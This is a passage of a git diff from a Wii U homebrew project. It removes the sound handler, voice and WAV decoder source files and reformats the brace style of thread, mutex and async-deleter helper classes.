decoder->Lock();
|
||||
DecoderList[voice] = NULL;
|
||||
decoder->Unlock();
|
||||
delete decoder;
|
||||
}
|
||||
}
|
||||
|
||||
void SoundHandler::ClearDecoderList()
|
||||
{
|
||||
for(u32 i = 0; i < MAX_DECODERS; ++i)
|
||||
RemoveDecoder(i);
|
||||
}
|
||||
|
||||
static inline bool CheckMP3Signature(const u8 * buffer)
|
||||
{
|
||||
const char MP3_Magic[][3] =
|
||||
{
|
||||
{'I', 'D', '3'}, //'ID3'
|
||||
{0xff, 0xfe}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xff}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xfa}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xfb}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf2}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf3}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf4}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf5}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf6}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xf7}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xe2}, //'MPEG ADTS, layer III, v2.5 [protected]', 'mp3', 'audio/mpeg'),
|
||||
{0xff, 0xe3}, //'MPEG ADTS, layer III, v2.5', 'mp3', 'audio/mpeg'),
|
||||
};
|
||||
|
||||
if(buffer[0] == MP3_Magic[0][0] && buffer[1] == MP3_Magic[0][1] &&
|
||||
buffer[2] == MP3_Magic[0][2])
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
for(int i = 1; i < 13; i++)
|
||||
{
|
||||
if(buffer[0] == MP3_Magic[i][0] && buffer[1] == MP3_Magic[i][1])
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
SoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath)
|
||||
{
|
||||
u32 magic;
|
||||
CFile f(filepath, CFile::ReadOnly);
|
||||
if(f.size() == 0)
|
||||
return NULL;
|
||||
|
||||
do
|
||||
{
|
||||
f.read((u8 *) &magic, 1);
|
||||
}
|
||||
while(((u8 *) &magic)[0] == 0 && f.tell() < f.size());
|
||||
|
||||
if(f.tell() == f.size())
|
||||
return NULL;
|
||||
|
||||
f.seek(f.tell()-1, SEEK_SET);
|
||||
f.read((u8 *) &magic, 4);
|
||||
f.close();
|
||||
|
||||
if(magic == 0x4f676753) // 'OggS'
|
||||
{
|
||||
return new OggDecoder(filepath);
|
||||
}
|
||||
else if(magic == 0x52494646) // 'RIFF'
|
||||
{
|
||||
return new WavDecoder(filepath);
|
||||
}
|
||||
else if(CheckMP3Signature((u8 *) &magic) == true)
|
||||
{
|
||||
return new Mp3Decoder(filepath);
|
||||
}
|
||||
|
||||
return new SoundDecoder(filepath);
|
||||
}
|
||||
|
||||
SoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, int length)
|
||||
{
|
||||
const u8 * check = sound;
|
||||
int counter = 0;
|
||||
|
||||
while(check[0] == 0 && counter < length)
|
||||
{
|
||||
check++;
|
||||
counter++;
|
||||
}
|
||||
|
||||
if(counter >= length)
|
||||
return NULL;
|
||||
|
||||
u32 * magic = (u32 *) check;
|
||||
|
||||
if(magic[0] == 0x4f676753) // 'OggS'
|
||||
{
|
||||
return new OggDecoder(sound, length);
|
||||
}
|
||||
else if(magic[0] == 0x52494646) // 'RIFF'
|
||||
{
|
||||
return new WavDecoder(sound, length);
|
||||
}
|
||||
else if(CheckMP3Signature(check) == true)
|
||||
{
|
||||
return new Mp3Decoder(sound, length);
|
||||
}
|
||||
|
||||
return new SoundDecoder(sound, length);
|
||||
}
|
||||
|
||||
void SoundHandler::executeThread()
|
||||
{
|
||||
// v2 sound lib can not properly end transition audio on old firmwares
|
||||
if (OS_FIRMWARE >= 400 && OS_FIRMWARE <= 410)
|
||||
{
|
||||
ProperlyEndTransitionAudio();
|
||||
}
|
||||
|
||||
//! initialize 48 kHz renderer
|
||||
AXInitParams params;
|
||||
memset(¶ms, 0, sizeof(params));
|
||||
params.renderer = AX_INIT_RENDERER_48KHZ;
|
||||
|
||||
// TODO: handle support for 3.1.0 with dynamic libs instead of static linking it
|
||||
//if(AXInitWithParams != 0)
|
||||
AXInitWithParams(¶ms);
|
||||
//else
|
||||
// AXInit();
|
||||
|
||||
// The problem with last voice on 500 was caused by it having priority 0
|
||||
// We would need to change this priority distribution if for some reason
|
||||
// we would need MAX_DECODERS > Voice::PRIO_MAX
|
||||
for(u32 i = 0; i < MAX_DECODERS; ++i)
|
||||
{
|
||||
int priority = (MAX_DECODERS - i) * Voice::PRIO_MAX / MAX_DECODERS;
|
||||
voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority
|
||||
}
|
||||
|
||||
AXRegisterAppFrameCallback(SoundHandler::axFrameCallback);
|
||||
|
||||
|
||||
u16 i = 0;
|
||||
while (!ExitRequested)
|
||||
{
|
||||
suspendThread();
|
||||
|
||||
for(i = 0; i < MAX_DECODERS; ++i)
|
||||
{
|
||||
if(DecoderList[i] == NULL)
|
||||
continue;
|
||||
|
||||
Decoding = true;
|
||||
if(DecoderList[i])
|
||||
DecoderList[i]->Lock();
|
||||
if(DecoderList[i])
|
||||
DecoderList[i]->Decode();
|
||||
if(DecoderList[i])
|
||||
DecoderList[i]->Unlock();
|
||||
}
|
||||
Decoding = false;
|
||||
}
|
||||
|
||||
for(u32 i = 0; i < MAX_DECODERS; ++i)
|
||||
voiceList[i]->stop();
|
||||
|
||||
AXRegisterAppFrameCallback(NULL);
|
||||
AXQuit();
|
||||
|
||||
for(u32 i = 0; i < MAX_DECODERS; ++i)
|
||||
{
|
||||
delete voiceList[i];
|
||||
voiceList[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void SoundHandler::axFrameCallback(void)
|
||||
{
|
||||
for (u32 i = 0; i < MAX_DECODERS; i++)
|
||||
{
|
||||
Voice *voice = handlerInstance->getVoice(i);
|
||||
|
||||
switch (voice->getState())
|
||||
{
|
||||
default:
|
||||
case Voice::STATE_STOPPED:
|
||||
break;
|
||||
|
||||
case Voice::STATE_START: {
|
||||
SoundDecoder * decoder = handlerInstance->getDecoder(i);
|
||||
decoder->Lock();
|
||||
if(decoder->IsBufferReady())
|
||||
{
|
||||
const u8 *buffer = decoder->GetBuffer();
|
||||
const u32 bufferSize = decoder->GetBufferSize();
|
||||
decoder->LoadNext();
|
||||
|
||||
const u8 *nextBuffer = NULL;
|
||||
u32 nextBufferSize = 0;
|
||||
|
||||
if(decoder->IsBufferReady())
|
||||
{
|
||||
nextBuffer = decoder->GetBuffer();
|
||||
nextBufferSize = decoder->GetBufferSize();
|
||||
decoder->LoadNext();
|
||||
}
|
||||
|
||||
voice->play(buffer, bufferSize, nextBuffer, nextBufferSize, decoder->GetFormat() & 0xff, decoder->GetSampleRate());
|
||||
|
||||
handlerInstance->ThreadSignal();
|
||||
|
||||
voice->setState(Voice::STATE_PLAYING);
|
||||
}
|
||||
decoder->Unlock();
|
||||
break;
|
||||
}
|
||||
case Voice::STATE_PLAYING:
|
||||
if(voice->getInternState() == 1)
|
||||
{
|
||||
if(voice->isBufferSwitched())
|
||||
{
|
||||
SoundDecoder * decoder = handlerInstance->getDecoder(i);
|
||||
decoder->Lock();
|
||||
if(decoder->IsBufferReady())
|
||||
{
|
||||
voice->setNextBuffer(decoder->GetBuffer(), decoder->GetBufferSize());
|
||||
decoder->LoadNext();
|
||||
handlerInstance->ThreadSignal();
|
||||
}
|
||||
else if(decoder->IsEOF())
|
||||
{
|
||||
voice->setState(Voice::STATE_STOP);
|
||||
}
|
||||
decoder->Unlock();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
voice->setState(Voice::STATE_STOPPED);
|
||||
}
|
||||
break;
|
||||
case Voice::STATE_STOP:
|
||||
if(voice->getInternState() != 0)
|
||||
voice->stop();
|
||||
voice->setState(Voice::STATE_STOPPED);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,78 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#ifndef SOUNDHANDLER_H_
|
||||
#define SOUNDHANDLER_H_
|
||||
|
||||
#include <vector>
|
||||
#include "common/types.h"
|
||||
#include "system/CThread.h"
|
||||
#include "SoundDecoder.hpp"
|
||||
#include "Voice.h"
|
||||
|
||||
#define MAX_DECODERS 16 // can be increased up to 96
|
||||
|
||||
class SoundHandler : public CThread
|
||||
{
|
||||
public:
|
||||
static SoundHandler * instance() {
|
||||
if (!handlerInstance)
|
||||
handlerInstance = new SoundHandler();
|
||||
return handlerInstance;
|
||||
}
|
||||
|
||||
static void DestroyInstance() { delete handlerInstance; handlerInstance = NULL; }
|
||||
|
||||
void AddDecoder(int voice, const char * filepath);
|
||||
void AddDecoder(int voice, const u8 * snd, int len);
|
||||
void RemoveDecoder(int voice);
|
||||
|
||||
SoundDecoder * getDecoder(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : DecoderList[i]); };
|
||||
Voice * getVoice(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : voiceList[i]); };
|
||||
|
||||
void ThreadSignal() { resumeThread(); };
|
||||
bool IsDecoding() { return Decoding; };
|
||||
protected:
|
||||
SoundHandler();
|
||||
~SoundHandler();
|
||||
|
||||
static void axFrameCallback(void);
|
||||
|
||||
void executeThread(void);
|
||||
void ClearDecoderList();
|
||||
|
||||
SoundDecoder * GetSoundDecoder(const char * filepath);
|
||||
SoundDecoder * GetSoundDecoder(const u8 * sound, int length);
|
||||
|
||||
static SoundHandler * handlerInstance;
|
||||
|
||||
bool Decoding;
|
||||
bool ExitRequested;
|
||||
|
||||
Voice * voiceList[MAX_DECODERS];
|
||||
SoundDecoder * DecoderList[MAX_DECODERS];
|
||||
};
|
||||
|
||||
#endif
|
@ -1,164 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef _AXSOUND_H_
|
||||
#define _AXSOUND_H_
|
||||
|
||||
#include <sndcore2/core.h>
|
||||
#include <sndcore2/voice.h>
|
||||
|
||||
class Voice
|
||||
{
|
||||
public:
|
||||
|
||||
enum VoicePriorities
|
||||
{
|
||||
PRIO_MIN = 1,
|
||||
PRIO_MAX = 31
|
||||
};
|
||||
|
||||
enum VoiceStates
|
||||
{
|
||||
STATE_STOPPED,
|
||||
STATE_START,
|
||||
STATE_PLAYING,
|
||||
STATE_STOP,
|
||||
};
|
||||
|
||||
Voice(int prio)
|
||||
: state(STATE_STOPPED)
|
||||
{
|
||||
lastLoopCounter = 0;
|
||||
nextBufferSize = 0;
|
||||
|
||||
voice = AXAcquireVoice(prio, 0, 0);
|
||||
if(voice)
|
||||
{
|
||||
AXSetVoiceType(voice, 0);
|
||||
setVolume(0x80000000);
|
||||
|
||||
AXVoiceDeviceMixData mix[6];
|
||||
memset(mix, 0, sizeof(mix));
|
||||
mix[0].bus[0].volume = 0x8000;
|
||||
mix[0].bus[0].delta = 0;
|
||||
mix[1].bus[0].volume = 0x8000;
|
||||
mix[1].bus[0].delta = 0;
|
||||
|
||||
AXSetVoiceDeviceMix(voice, 0, 0, mix);
|
||||
AXSetVoiceDeviceMix(voice, 1, 0, mix);
|
||||
}
|
||||
}
|
||||
|
||||
~Voice()
|
||||
{
|
||||
if(voice)
|
||||
{
|
||||
AXFreeVoice(voice);
|
||||
}
|
||||
}
|
||||
|
||||
void play(const u8 *buffer, u32 bufferSize, const u8 *nextBuffer, u32 nextBufSize, u16 format, u32 sampleRate)
|
||||
{
|
||||
if(!voice)
|
||||
return;
|
||||
|
||||
memset(&voiceBuffer, 0, sizeof(voiceBuffer));
|
||||
|
||||
voiceBuffer.data = buffer;
|
||||
voiceBuffer.dataType = format;
|
||||
voiceBuffer.loopingEnabled = (nextBuffer == NULL) ? 0 : 1;
|
||||
voiceBuffer.currentOffset = 0;
|
||||
voiceBuffer.endOffset = (bufferSize >> 1) - 1;
|
||||
voiceBuffer.loopOffset = ((nextBuffer - buffer) >> 1);
|
||||
nextBufferSize = nextBufSize;
|
||||
|
||||
// TODO: handle support for 3.1.0 with dynamic libs instead of static linking it
|
||||
//u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000;
|
||||
u32 samplesPerSec = AXGetInputSamplesPerSec();
|
||||
|
||||
memset(&ratioBits, 0, sizeof(ratioBits));
|
||||
ratioBits.ratio = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec));
|
||||
|
||||
AXSetVoiceOffsets(voice, &voiceBuffer);
|
||||
AXSetVoiceSrc(voice, &ratioBits);
|
||||
AXSetVoiceSrcType(voice, 1);
|
||||
AXSetVoiceState(voice, 1);
|
||||
}
|
||||
|
||||
void stop()
|
||||
{
|
||||
if(voice)
|
||||
AXSetVoiceState(voice, 0);
|
||||
}
|
||||
|
||||
void setVolume(u32 vol)
|
||||
{
|
||||
if(voice)
|
||||
{
|
||||
AXVoiceVeData data;
|
||||
data.volume = vol >> 16;
|
||||
data.delta = vol & 0xFFFF;
|
||||
AXSetVoiceVe(voice, &data);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void setNextBuffer(const u8 *buffer, u32 bufferSize)
|
||||
{
|
||||
voiceBuffer.loopOffset = ((buffer - (const u8*)voiceBuffer.data) >> 1);
|
||||
nextBufferSize = bufferSize;
|
||||
|
||||
AXSetVoiceLoopOffset(voice, voiceBuffer.loopOffset);
|
||||
}
|
||||
|
||||
bool isBufferSwitched()
|
||||
{
|
||||
u32 loopCounter = AXGetVoiceLoopCount(voice);
|
||||
if(lastLoopCounter != loopCounter)
|
||||
{
|
||||
lastLoopCounter = loopCounter;
|
||||
AXSetVoiceEndOffset(voice, voiceBuffer.loopOffset + (nextBufferSize >> 1) - 1);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
u32 getInternState() const {
|
||||
if(voice)
|
||||
return ((u32 *)voice)[1];
|
||||
return 0;
|
||||
}
|
||||
u32 getState() const {
|
||||
return state;
|
||||
}
|
||||
void setState(u32 s) {
|
||||
state = s;
|
||||
}
|
||||
|
||||
void * getVoice() const {
|
||||
return voice;
|
||||
}
|
||||
|
||||
private:
|
||||
AXVoice *voice;
|
||||
AXVoiceSrc ratioBits;
|
||||
AXVoiceOffsets voiceBuffer;
|
||||
u32 state;
|
||||
u32 nextBufferSize;
|
||||
u32 lastLoopCounter;
|
||||
};
|
||||
|
||||
#endif // _AXSOUND_H_
|
@ -1,154 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <string.h>
|
||||
#include "WavDecoder.hpp"
|
||||
#include "utils/utils.h"
|
||||
|
||||
WavDecoder::WavDecoder(const char * filepath)
|
||||
: SoundDecoder(filepath)
|
||||
{
|
||||
SoundType = SOUND_WAV;
|
||||
SampleRate = 48000;
|
||||
Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT;
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
WavDecoder::WavDecoder(const u8 * snd, int len)
|
||||
: SoundDecoder(snd, len)
|
||||
{
|
||||
SoundType = SOUND_WAV;
|
||||
SampleRate = 48000;
|
||||
Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT;
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
WavDecoder::~WavDecoder()
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void WavDecoder::OpenFile()
|
||||
{
|
||||
SWaveHdr Header;
|
||||
SWaveFmtChunk FmtChunk;
|
||||
memset(&Header, 0, sizeof(SWaveHdr));
|
||||
memset(&FmtChunk, 0, sizeof(SWaveFmtChunk));
|
||||
|
||||
file_fd->read((u8 *) &Header, sizeof(SWaveHdr));
|
||||
file_fd->read((u8 *) &FmtChunk, sizeof(SWaveFmtChunk));
|
||||
|
||||
if (Header.magicRIFF != 0x52494646) // 'RIFF'
|
||||
{
|
||||
CloseFile();
|
||||
return;
|
||||
}
|
||||
else if(Header.magicWAVE != 0x57415645) // 'WAVE'
|
||||
{
|
||||
CloseFile();
|
||||
return;
|
||||
}
|
||||
else if(FmtChunk.magicFMT != 0x666d7420) // 'fmt '
|
||||
{
|
||||
CloseFile();
|
||||
return;
|
||||
}
|
||||
|
||||
DataOffset = sizeof(SWaveHdr)+le32(FmtChunk.size)+8;
|
||||
file_fd->seek(DataOffset, SEEK_SET);
|
||||
SWaveChunk DataChunk;
|
||||
file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk));
|
||||
|
||||
while(DataChunk.magicDATA != 0x64617461) // 'data'
|
||||
{
|
||||
DataOffset += 8+le32(DataChunk.size);
|
||||
file_fd->seek(DataOffset, SEEK_SET);
|
||||
int ret = file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk));
|
||||
if(ret <= 0)
|
||||
{
|
||||
CloseFile();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
DataOffset += 8;
|
||||
DataSize = le32(DataChunk.size);
|
||||
Is16Bit = (le16(FmtChunk.bps) == 16);
|
||||
SampleRate = le32(FmtChunk.freq);
|
||||
|
||||
if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 1)
|
||||
Format = CHANNELS_MONO | FORMAT_PCM_8_BIT;
|
||||
else if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 2)
|
||||
Format = CHANNELS_MONO | FORMAT_PCM_16_BIT;
|
||||
else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 2)
|
||||
Format = CHANNELS_STEREO | FORMAT_PCM_8_BIT;
|
||||
else if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 4)
|
||||
Format = CHANNELS_STEREO | FORMAT_PCM_16_BIT;
|
||||
}
|
||||
|
||||
void WavDecoder::CloseFile()
|
||||
{
|
||||
if(file_fd)
|
||||
delete file_fd;
|
||||
|
||||
file_fd = NULL;
|
||||
}
|
||||
|
||||
int WavDecoder::Read(u8 * buffer, int buffer_size, int pos)
|
||||
{
|
||||
if(!file_fd)
|
||||
return -1;
|
||||
|
||||
if(CurPos >= (int) DataSize)
|
||||
return 0;
|
||||
|
||||
file_fd->seek(DataOffset+CurPos, SEEK_SET);
|
||||
|
||||
if(buffer_size > (int) DataSize-CurPos)
|
||||
buffer_size = DataSize-CurPos;
|
||||
|
||||
int read = file_fd->read(buffer, buffer_size);
|
||||
if(read > 0)
|
||||
{
|
||||
if (Is16Bit)
|
||||
{
|
||||
read &= ~0x0001;
|
||||
|
||||
for (u32 i = 0; i < (u32) (read / sizeof (u16)); ++i)
|
||||
((u16 *) buffer)[i] = le16(((u16 *) buffer)[i]);
|
||||
}
|
||||
CurPos += read;
|
||||
}
|
||||
|
||||
return read;
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#ifndef WAVDECODER_HPP_
|
||||
#define WAVDECODER_HPP_
|
||||
|
||||
#include "SoundDecoder.hpp"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 magicRIFF;
|
||||
u32 size;
|
||||
u32 magicWAVE;
|
||||
} SWaveHdr;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 magicFMT;
|
||||
u32 size;
|
||||
u16 format;
|
||||
u16 channels;
|
||||
u32 freq;
|
||||
u32 avgBps;
|
||||
u16 alignment;
|
||||
u16 bps;
|
||||
} SWaveFmtChunk;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 magicDATA;
|
||||
u32 size;
|
||||
} SWaveChunk;
|
||||
|
||||
class WavDecoder : public SoundDecoder
|
||||
{
|
||||
public:
|
||||
WavDecoder(const char * filepath);
|
||||
WavDecoder(const u8 * snd, int len);
|
||||
virtual ~WavDecoder();
|
||||
int Read(u8 * buffer, int buffer_size, int pos);
|
||||
protected:
|
||||
void OpenFile();
|
||||
void CloseFile();
|
||||
u32 DataOffset;
|
||||
u32 DataSize;
|
||||
bool Is16Bit;
|
||||
};
|
||||
|
||||
#endif
|
@ -19,28 +19,23 @@
|
||||
AsyncDeleter * AsyncDeleter::deleterInstance = NULL;
|
||||
|
||||
AsyncDeleter::AsyncDeleter()
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff)
|
||||
, exitApplication(false)
|
||||
{
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff)
|
||||
, exitApplication(false) {
|
||||
}
|
||||
|
||||
AsyncDeleter::~AsyncDeleter()
|
||||
{
|
||||
AsyncDeleter::~AsyncDeleter() {
|
||||
exitApplication = true;
|
||||
}
|
||||
|
||||
void AsyncDeleter::triggerDeleteProcess(void)
|
||||
{
|
||||
void AsyncDeleter::triggerDeleteProcess(void) {
|
||||
if(!deleterInstance)
|
||||
deleterInstance = new AsyncDeleter;
|
||||
|
||||
//! to trigger the event after GUI process is finished execution
|
||||
//! this function is used to swap elements from one to next array
|
||||
if(!deleterInstance->deleteElements.empty())
|
||||
{
|
||||
if(!deleterInstance->deleteElements.empty()) {
|
||||
deleterInstance->deleteMutex.lock();
|
||||
while(!deleterInstance->deleteElements.empty())
|
||||
{
|
||||
while(!deleterInstance->deleteElements.empty()) {
|
||||
deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front());
|
||||
deleterInstance->deleteElements.pop();
|
||||
}
|
||||
@ -49,16 +44,13 @@ void AsyncDeleter::triggerDeleteProcess(void)
|
||||
}
|
||||
}
|
||||
|
||||
void AsyncDeleter::executeThread(void)
|
||||
{
|
||||
while(!exitApplication)
|
||||
{
|
||||
void AsyncDeleter::executeThread(void) {
|
||||
while(!exitApplication) {
|
||||
suspendThread();
|
||||
|
||||
//! delete elements that require post process deleting
|
||||
//! because otherwise they would block or do invalid access on GUI thread
|
||||
while(!realDeleteElements.empty())
|
||||
{
|
||||
while(!realDeleteElements.empty()) {
|
||||
deleteMutex.lock();
|
||||
AsyncDeleter::Element *element = realDeleteElements.front();
|
||||
realDeleteElements.pop();
|
||||
|
@ -21,24 +21,20 @@
|
||||
#include "CThread.h"
|
||||
#include "CMutex.h"
|
||||
|
||||
class AsyncDeleter : public CThread
|
||||
{
|
||||
class AsyncDeleter : public CThread {
|
||||
public:
|
||||
static void destroyInstance()
|
||||
{
|
||||
static void destroyInstance() {
|
||||
delete deleterInstance;
|
||||
deleterInstance = NULL;
|
||||
}
|
||||
|
||||
class Element
|
||||
{
|
||||
class Element {
|
||||
public:
|
||||
Element() {}
|
||||
virtual ~Element() {}
|
||||
};
|
||||
|
||||
static void pushForDelete(AsyncDeleter::Element *e)
|
||||
{
|
||||
static void pushForDelete(AsyncDeleter::Element *e) {
|
||||
if(!deleterInstance)
|
||||
deleterInstance = new AsyncDeleter;
|
||||
|
||||
|
@ -20,8 +20,7 @@
|
||||
#include <malloc.h>
|
||||
#include <coreinit/mutex.h>
|
||||
|
||||
class CMutex
|
||||
{
|
||||
class CMutex {
|
||||
public:
|
||||
CMutex() {
|
||||
pMutex = (OSMutex*) malloc(sizeof(OSMutex));
|
||||
@ -53,8 +52,7 @@ private:
|
||||
OSMutex *pMutex;
|
||||
};
|
||||
|
||||
class CMutexLock
|
||||
{
|
||||
class CMutexLock {
|
||||
public:
|
||||
CMutexLock() {
|
||||
mutex.lock();
|
||||
|
@ -21,99 +21,118 @@
|
||||
#include <unistd.h>
|
||||
#include <coreinit/thread.h>
|
||||
|
||||
class CThread
|
||||
{
|
||||
class CThread {
|
||||
public:
|
||||
typedef void (* Callback)(CThread *thread, void *arg);
|
||||
typedef void (* Callback)(CThread *thread, void *arg);
|
||||
|
||||
//! constructor
|
||||
CThread(int iAttr, int iPriority = 16, int iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL)
|
||||
: pThread(NULL)
|
||||
, pThreadStack(NULL)
|
||||
, pCallback(callback)
|
||||
, pCallbackArg(callbackArg)
|
||||
{
|
||||
//! save attribute assignment
|
||||
iAttributes = iAttr;
|
||||
//! allocate the thread
|
||||
pThread = (OSThread*)memalign(8, sizeof(OSThread));
|
||||
//! allocate the stack
|
||||
pThreadStack = (u8 *) memalign(0x20, iStackSize);
|
||||
//! constructor
|
||||
CThread(int iAttr, int iPriority = 16, int iStackSize = 0x8000, CThread::Callback callback = NULL, void *callbackArg = NULL)
|
||||
: pThread(NULL)
|
||||
, pThreadStack(NULL)
|
||||
, pCallback(callback)
|
||||
, pCallbackArg(callbackArg) {
|
||||
//! save attribute assignment
|
||||
iAttributes = iAttr;
|
||||
//! allocate the thread
|
||||
pThread = (OSThread*)memalign(8, sizeof(OSThread));
|
||||
//! allocate the stack
|
||||
pThreadStack = (uint8_t *) memalign(0x20, iStackSize);
|
||||
//! create the thread
|
||||
if(pThread && pThreadStack)
|
||||
if(pThread && pThreadStack)
|
||||
OSCreateThread(pThread, &CThread::threadCallback, 1, (char*)this, pThreadStack+iStackSize, iStackSize, iPriority, iAttributes);
|
||||
}
|
||||
}
|
||||
|
||||
//! destructor
|
||||
virtual ~CThread() { shutdownThread(); }
|
||||
//! destructor
|
||||
virtual ~CThread() {
|
||||
shutdownThread();
|
||||
}
|
||||
|
||||
static CThread *create(CThread::Callback callback, void *callbackArg, int iAttr = eAttributeNone, int iPriority = 16, int iStackSize = 0x8000)
|
||||
{
|
||||
return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) );
|
||||
}
|
||||
static CThread *create(CThread::Callback callback, void *callbackArg, int iAttr = eAttributeNone, int iPriority = 16, int iStackSize = 0x8000) {
|
||||
return ( new CThread(iAttr, iPriority, iStackSize, callback, callbackArg) );
|
||||
}
|
||||
|
||||
//! Get thread ID
|
||||
virtual void* getThread() const { return pThread; }
|
||||
//! Thread entry function
|
||||
virtual void executeThread(void)
|
||||
{
|
||||
if(pCallback)
|
||||
//! Get thread ID
|
||||
virtual void* getThread() const {
|
||||
return pThread;
|
||||
}
|
||||
//! Thread entry function
|
||||
virtual void executeThread(void) {
|
||||
